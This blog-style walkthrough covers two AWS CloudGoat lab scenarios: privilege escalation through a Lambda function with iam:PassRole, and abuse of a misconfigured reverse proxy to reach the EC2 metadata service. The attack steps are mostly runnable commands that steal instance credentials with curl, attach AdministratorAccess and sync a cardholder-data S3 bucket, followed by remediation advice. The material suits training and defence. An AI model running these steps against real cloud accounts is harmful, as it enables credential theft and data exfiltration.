AWS CloudGoat and mitigation strategies: Part 2
AWS Cloudgoat and mitigation strategies Part 2
This is part 2 of the series on AWS Cloudgoat Scenarios and the mitigation strategies.
In this part, we cover Scenarios 2 and 3:
- Scenario 2: Privilege escalation via AWS Lambda (lambda_privesc)
- Scenario 3: Misconfigured EC2 Reverse Proxy to S3 Breach (cloud_breach_s3)</a
This part of the article presumes that Cloudgoat has already been configured.
Please refer to part 1 of this series to see how to install and configure Cloudgoat.
Scenario 2: Privilege Escalation via AWS Lambda (lambda_privesc)
Description:
Starting as the IAM user “Chris”, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.
To deploy this scenario, type the following:
# ./cloudgoat.py create lambda_privesc
Once successfully deployed, the user credentials for the scenario should be printed out. This time the user is called ‘chris’.
Once again, we use ‘aws configure -profile chris’ to save this set of credentials to a profile. For the rest of the scenario, we will assume the user chris by using his set of credentials.
To destroy the environment after you are done, type: (IMPORTANT)
# ./cloudgoat.py destroy lambda_privesc
Attack:
To start off with the attack, we check the current user’s ARN:
# aws sts get-caller-identity --profile chrise
The full username is “chris-cgidxxx”
Next, using the user’s ARN we get the user policies attached to chris.
Take note of the policy ARN.
# aws iam list-attached-user-policies --user-name chris-cgidxxx --profile chris
Now we try to get the policy version-ids using the policy ARN that we obtained above.
# aws iam list-policy-versions --policy-arn arn:aws:iam::xxx:policy/cg-chris-policy-cgid4iqt13fxxk --profile chris
There is only one version-id: v1
Time to view what kind of permissions user chris has using the policy version-id and policy-arn:
# aws iam get-policy-version --policy-arn arn:aws:iam::xxx:policy/cg-chris-policy-cgid4iqt13fxxk --profile chris --version-id v1
The result shows that user chris is able to assume some roles with the “sts:assumeRole” action.
With the “sts:assumeRole” permission, it makes sense to check for possible roles that the attacker can now assume.
# aws iam list-roles --profile chris
There are two interesting IAM roles: cg-debug-role and cg-lambdaManager-manager-role
Take note of both “RoleName” rows in this screenshot.
Based on the attached policies, the debug IAM role has a AdminstratorAccess policy attached to it.
# aws iam list-attached-role-policies --role-name cg-debug-role-cxx --profile chris
The lambdaManager IAM role on the other hand, has full lambda access and pass role permissions. This is important because lambdaManager IAM role can pass a role to other users.
# aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cxx --profile chris
# aws iam get-policy-version --policy-arn arn:aws:iam::xxx:policy/cg-lambdaManager-policy-cxx --profile chris --version-id v1
Note: We used the “aws iam list-policy-versions” command to get the only version-id “v1”
Next step is to try to assume the debug role, (since it has administrator level privileges) but user chris is not authorized to do so.
# aws sts assume-role --role-arn arn:aws:iam::xxx:role/cg-debug-role-cxx --role-session-name debug-role --profile chris
However chris is authorized to assume the lambdaManager role.
Since lambdaManager role has the “iam:PassRole” privilege, the attacker can leverage the lambdaManager role to pass the debug role back to user chris.
# aws sts assume-role --role-arn arn:aws:iam::658975544954:role/cg-lambdaManager-role-cgid4iqt13fxxk --role-session-name lambdaManager-role --profile chris
Next we used “aws configure –profile lambdaManager” to add the access key and secret that we obtained after assuming lambdaManager role.
However this a temporary set of credentials. In order to use this set of credentials, we will need to add the session token to the credentials file. To do that:
# aws configure --profile lambdaManager
# vi ~/.aws/credentials
Since we have already configured using “aws configure” command, the aws_access_key_id, aws_secret_access_key should already been filled.
Add aws_session_token for lambdaManager and set it as the “SessionToken” as seen in the previous screenshot.
Your credentials file should look like this:
Next, we will create a lambda function script that will attach the administrator policy to the IAM user “Chris”
# vi lambda_function.py
Copy and paste the following lambda function code in, update the user name and save it:
import boto3
def lambda_handler(event, context):
client = boto3.client(‘iam’)
response = client.attach_user_policy(UserName = ‘chris-cxx’, PolicyArn=’arn:aws:iam::aws:policy/AdministratorAccess’)
return response
Zip up the .py file.
# apk add zip (Install zip package if you are running on a docker container)
# zip lambda_function.zip lambda_function.py
# aws lambda create-function –function-name lambda_function –runtime python3.6 –role arn:aws:iam::xxx:role/cg-debug-role-cxx –handler lambda_function.lambda_handler –zip-file fileb://lambda_function.zip –profile lambdaManager –region us-east-1
If the create-function command worked, you should see something like this:
Next, invoke the lambda function.
If it works correctly, you should not see any error.
# aws lambda invoke --function-name lambda_function out --log-type Tail --query 'LogResult' --output text --profile lambdaManager --region us-east-1 | base64 -d
Final result:
If the lambda function works, we can print out the attached policies and see if the AdministratorAccess policy is indeed attached.
# aws iam list-attached-user-policies --user-name chris-cgid4iqt13fxxk --profile chris
This is what you should see if AdministratorAccess has been granted successfully.
Vulnerability:
This scenario is similar with scenario 1 in Part 1 of this article in that excessive privileges has been given but this time to the user and the lamdaManager role as well.
The user this time is able to assume an IAM role, and the assumed role (lambdaManager role) is able to pass another higher privileged role (debug role) to other users, resulting in a privilege escalation.
Remediation:
Perform regular user/role profiling and audits of any IAM policies and roles defined within the cloud service environments and apply the principle of least privilege. You can also use CloudTrail management logs to monitor configuration changes. Also available are 3rd party solutions that scans your cloud configurations regularly.
Scenario 3: Misconfigured EC2 Reverse Proxy to S3 Breach (cloud_breach_s3)
Description:
Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.
To deploy this scenario, type the following:
# ./cloudgoat.py create cloud_breach_s3
Once successfully deployed, Cloudgoat provides us with just a EC2 IP address.
To destroy the environment after you are done, type: (IMPORTANT)
# ./cloudgoat.py destroy cloud_breach_s3
Attack:
Simply using curl to do a HTTP request to the EC2 server reveals that it’s some kind of proxy server which forwards request to the EC2 metadata service.
The EC2 metadata service is a HTTP service that is always available to the EC2 instance via the link local IP address (169.254.169.254). More info here:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
Using the info from the EC2 server, we use the metadata service IP in the “Host” header.
# curl http://35.171.189.91/ -H ''Host:169.254.169.254'
Looks like we can really query the EC2 metadata service:
The EC2 metadata service can leak lots of information on the EC2 instance. Much more info can be found here: Link.
One of the data we can retrieve from the EC2 metadata service is the IAM role that is being used:
# curl -s http://35.171.189.91/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'
In this case its: cg-bank-WAF-Role-cxxx
Continuing the query, we can retrieve more information on the IAM role.
# curl -s http://35.171.189.91/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cxxx -H 'Host:169.254.169.254'
The CURL command returns the Access Key ID, Secret Access Key, and Session Token of the IAM Instance Profile attached to the EC2 instance.
These are temporary credentials for the attached EC2 instance profile.
We can use following commands below to add the credentials to our AWS CLI.
After adding the credentials, edit and update the credential file with the aws_session_token using the “Token” field in the above screenshot (similar to Scenario 2).
# aws s3 ls --profile banking-waf
# vi ~/.aws/credentials
However the current role did not have permissions to list the available privileges:
We can however, use a bruteforce script (GitHub link: https://github.com/andresriancho/enumerate-iam) to attempt and list the privileges this current role can access:
Listing S3 buckets using leaked IAM EC2 instance profile credentials:
# aws s3 ls --profile banking-waf
Final Result:
# aws s3 sync s3://cg-cardholder-data-bucket-cxxx ./cardholder-data --profile banking-waf
This shows that the attacker has found many files containing sensitive information inside the S3 bucket, and is able to download them.
Vulnerability:
As seen above, the main vulnerability lies in the misconfigured reverse-proxy server.
When a HTTP request is made to the reverse proxy server, it reads the host header and decides where to forward the request.
The attacker can manipulate this behaviour and manipulate the header to ask it to fetch data on other servers, notably in this case the EC2 Metadata service.
This leak does allow the attacker to retrieve IAM instance profile credentials and retrieve sensitive data.
Remediation:
First of all, it is a bad idea to use any of the user controlled parameters at all; we want to avoid using any user controlled parameters at all.
Secondly, it is important for reverse proxy configurations to be regularly reviewed, to ensure that rewrite rules cannot be used to access internal systems and sensitive data.
In this case, the EC2 metadata service may not be known to novice users of AWS, hence it is important to have a qualified consultant for these kind of gotchas.
We have reached the end of Part 2. If you find this helpful, please check out other parts of this article.
We also offer a Cloud Security Assessment Program (CSAP) for both AWS and Azure Public cloud. These programs are aimed at finding vulnerabilities and misconfigurations such as those in the Cloudgoat Scenarios.
Click HERE for more information.